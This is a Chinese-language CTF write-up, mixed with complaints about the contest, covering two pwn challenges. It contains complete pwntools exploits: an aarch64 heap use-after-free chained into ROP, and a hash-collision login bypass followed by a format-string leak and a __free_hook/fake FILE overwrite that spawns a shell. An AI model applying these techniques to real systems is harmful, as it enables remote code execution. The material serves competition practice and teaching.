Fxxk
鄙人前几天在长城杯中滑铁卢了,被裁判搞的纠结题目是不是是除了堆题以外还有一个qemu
逃逸(裁判反复说在/home/flag
);当时应该据理力争的,qemu
都把flag
挂载进去了,出题人也是典哇,明明可以一条龙挂载,结果赛后我百度-drive
,需要我手动挂载出来,或者要dev
直接读,是不会用qemu
不是好pwn
手咩,咱就是说这shell
我如拿
另一个题也差不多,赛后越想越不对劲,strncmp
原来不是强制匹配,丫的memcmp
才是,被自己迷惑了,绕过登录我包出的,啊啊啊啊啊啊啊
不说了,下面是我赛后一天内自己做出来的,越做越想打自己脸,没有专项和少说二等奖了
not_so_aarch64
题目给了我们很多东西,但只能说没用的一堆,我们还需要自己解包
这个先解出来,然后是cpio
加密的包,在解压就是我们需要的东西了,之前学过一点点
然后我们直接用qemu
用户态模拟就可以,然后我们可以直接用它的libc
和ld
,这样就可以跟远程环境标齐
然后我一般会检测libc.so.6
的版本,发现是libc.2.35
的,因为我们nc
远程的时候就发现应该是个堆题,所以libc
的版本很重要,然后arrch64
的堆实际上跟amd64
是大差不差的
代码审计
喜闻乐见的UAF
好好好 限制0x68
,唯一选项风水布局,100%伪造堆块
分析结构体
UAF
需要管理块的值都在
结构体是
1 2 3 4 5 struct fxxk { long int chunk_size; long int unfree; char * chunk; }
思路
通过申请两次(当然chunk
的大小不能是管理chunk
的size
),然后释放掉,申请一个chunk
大小是管理大小的chunk
,这样我们就可以控制一个管理chunk
的chunk指针,然后我们就可以控制它为我们伪造的chunk上,释放,然后拿libc,任意地址申请,哈哈哈哈哈哈哈 完美
我们需要风水布局好,然后用我们上面的思路就可以释放伪造chunk
,然后使得chunk
重叠,通过chunk
重叠,我们又可以控制某个管理chunk
,使它指针指向environ
地址,这样我们就可以泄露出来stack
地址,然后就可以进行ROP
问题
我们无法拿到全部的heap
基址,所以需要爆破两位,所以脚本是1/256
的概率
ROP
这里ROP
是不同于amd64
,也是被恶心到啦,找了半天才找到两个gadget
这里需要控制x20
和x21
即可,所以下面是控制这两个的gadget
ok
,至此拿shell
的难点没了
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 from pwn import *import oscontext(arch='arm' , os='linux' ,log_level="debug" ) libc = ELF("./lib/libc.so.6" ) def get_p (name ): global p,elf p = remote("172.18.0.1" ,9999 ) elf = ELF(name) def gdb_attach (): os.system('/mnt/c/Users/KaiJia/AppData/Local/Microsoft/WindowsApps/wt.exe wsl.exe gdb-multiarch -ex \'target remote 127.0.0.1:1234\'' ) def add (size,content ): p.sendlineafter("> " ,'1' ) p.sendlineafter("size: " ,str (size)) p.sendafter("content: " ,content) def show (idx ): p.sendlineafter("> " ,'3' ) p.sendlineafter("Index: " ,str (idx)) def dele (idx ): p.sendlineafter("> " ,'2' ) p.sendlineafter("Index: " ,str (idx)) def get_real_heap (heap ): for i in range (255 ): add(0x18 ,p64(0x30 )+p64(1 )+p64(heap+0x1000 *i+8 )) show(1 ) if b"\x91\x02" in p.recv(): heap = heap+0x1000 *i+8 break dele(3 ) return heap def attack (): add(0x50 ,"AAAAA" ) dele(0 ) add(0x50 ,"A" ) show(1 ) p.recvuntil("A" ) heap_addr = (u64(b"\x00" +p.recv(4 ).ljust(0x7 ,b"\x00" ))+0x13 ) * 0x1000 print (hex (heap_addr)) add(0x50 ,"A" ) dele(1 ) dele(2 ) add(0x18 ,p64(0x30 )+p64(1 )+p64(heap_addr+0x3d0 )) add(0x60 ,p64(0 )+p64(0x431 )) for i in range (6 ): add(0x60 ,b"A" *8 ) add(0x68 ,b"A" *(0x68 -0x28 )+p64(0 )+p64(0x41 )) add(0x60 ,b"A" *8 ) dele(1 ) add(0x30 ,"A" *8 ) show(13 ) p.recvuntil("A" *8 ) libc.address = u64(p.recv(8 )) - 0x19cf60 print (hex (libc.address)) add(0x30 ,p64(0x10 )+p64(1 )+p64(libc.sym['environ' ])) show(5 ) stack = u64(p.recv(8 )) - 8 - 0x1d0 - 0x20 print (hex (stack)) dele(7 ) dele(6 ) add(0x18 ,b"A" *8 ) add(0x18 ,"A" *8 ) add(0x28 ,b"A" *0x10 + p64(stack^((heap_addr+0x4e0 )>>12 ))) add(0x60 ,b"A" *8 ) show(5 ) gadget = 0x0F46D4 + libc.address gadget_2 = 0x03BA80 + libc.address system = libc.sym['system' ] binsh = next (libc.search(b"/bin/sh" )) add(0x60 ,b"A" *0x8 + p64(gadget) + p64(gadget_2)*4 + p64(binsh)*1 +p64(system)+p64(binsh)) while True : try : get_p("./pwn" ) attack() p.interactive() except : p.close()
下面是我吐槽部分
吐槽
可以发现是没有flag
的,qemu
有挂载,裁判跟我说是在/home
目录下,我真的是质疑自己要死了,以至于我后面心态都崩溃掉了,百度说可以通过fdisk
检查挂载项
所以我们要cat /dev/vda
,没想到吧
不是正常出题人,谁这样加难度哇,pwn
手做题跟做misc
一样找flag
是吧,有人会说grep
一把梭,我只能说包卡死的老弟,我试过了,裁判的/home
才是最颠的,直接把我误导
power_system
伴随着上题的崩溃,在场上是心态炸裂的状态看下去的,忽略了strncmp
函数的漏洞
代码审计
我们需要绕过这个strncmp
,并且有一个泄露的地方,printf_chk
,虽然限制了我们用$
绝对索引
这里我们看pwn_hash
有一个00字符!这个是我对strncmp
函数误判所忽略的
绕过思路
通过hash碰撞可以绕过,hash碰撞脚本
1 2 3 4 5 6 7 8 9 import hashlibfor i in range (0x10000000 ): text = str (i)+"%p%p%p%p" algorithm = hashlib.sha256() algorithm.update(text.encode(encoding="utf-8" )) if "e85000" == algorithm.hexdigest()[:6 ]: print (text) break
这样就可以炸出来,然后也可以泄露出来libc
地址,ld和libc都给了,所以偏移啥的都是一样的,只要可以精准算到libc基址的直接硬造
漏洞
这里是有符号的判断,所以我们可以绕过,对其bss
数据进行操作,很明显bss
上是指针的地方只有那几个,就是stdout
、stderr
以及stdin
,这里就控制stderr
就可以,其他的我们都会调用到,会刷新并且可能会报错
修改free_hook
这里可以修改free_hook
,所以节省了我们FSOP
的难度,总结下来比上题要简单不少,通过IO_file_underflow
调用即可
这里也刚好我们可以控制指针,简简单单
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 from pwn import *context(arch='amd64' , os='linux' ,log_level="debug" ) context.terminal=["wt.exe" ,"wsl.exe" ] libc = ELF("./libc-2.29.so" ) """"" def xxx(): p.sendlineafter("") p.sendlineafter("") p.sendlineafter("") """ def get_p (name ): global p,elf p = process(name) elf = ELF(name) def get_passwd (): for i in range (0x1000000000000 ): p.sendlineafter(">> " ,'2' ) p.sendlineafter("Please input admin account : " ,b"QAQ" ) p.sendlineafter("Please input admin password : " ,str (i)) panduan = p.recvline() if b"Login Success" in panduan: break def adjust (idx,size,content ): p.sendlineafter(">>" ,'2' ) p.sendlineafter("Select the node to adjust the power: " ,str (idx)) p.sendlineafter("Set power size: " ,str (size)) p.sendlineafter("Sets the name of operating staff: " ,content) def shut (idx ): p.sendlineafter(">>" ,'3' ) p.sendlineafter("Select the node to turn off the power: " ,str (idx)) def edit (content ): p.sendlineafter(">>" ,'4' ) p.sendafter("Write in __free_hook" ,content) def show (): p.sendlineafter(">> " ,'1' ) get_p("./pwn" ) p.sendlineafter(">> " ,'2' ) p.sendlineafter("Please input admin account : " ,b"QAQ" ) p.sendafter("Please input admin password : " ,"1978594%p%p%p%p" ) p.recvuntil("0x" ) p.recvuntil("0x" ) libc.address = int (p.recv(12 ),16 ) - 0x1ec5c0 print (hex (libc.address))sleep(2 ) _IO_obstack = 0x001E6320 + libc.address _test = 0x0001E5AE0 + libc.address fake_file_addr = 0x414141414141 payload =flat({ 0x18 :1 , 0x20 :0 , 0x28 : 1 , 0x30 :0 , 0x38 : 0 , 0x48 : next (libc.search(b'/bin/sh' )), 0xD8 : _test+0x8 , 0xe0 :0 , }, filler=b"\x00" ) adjust(-2 ,0x0 ,payload[8 :].ljust(0xe0 ,b'\x00' )) edit(p64(libc.sym['system' ])) p.interactive()
总结
这次算的上是蛮遗憾的 我的实力并不在他们之下啊!但是fuck it
,又要朝前看了!
被失利绊住脚可是最愚蠢的,继续努力吧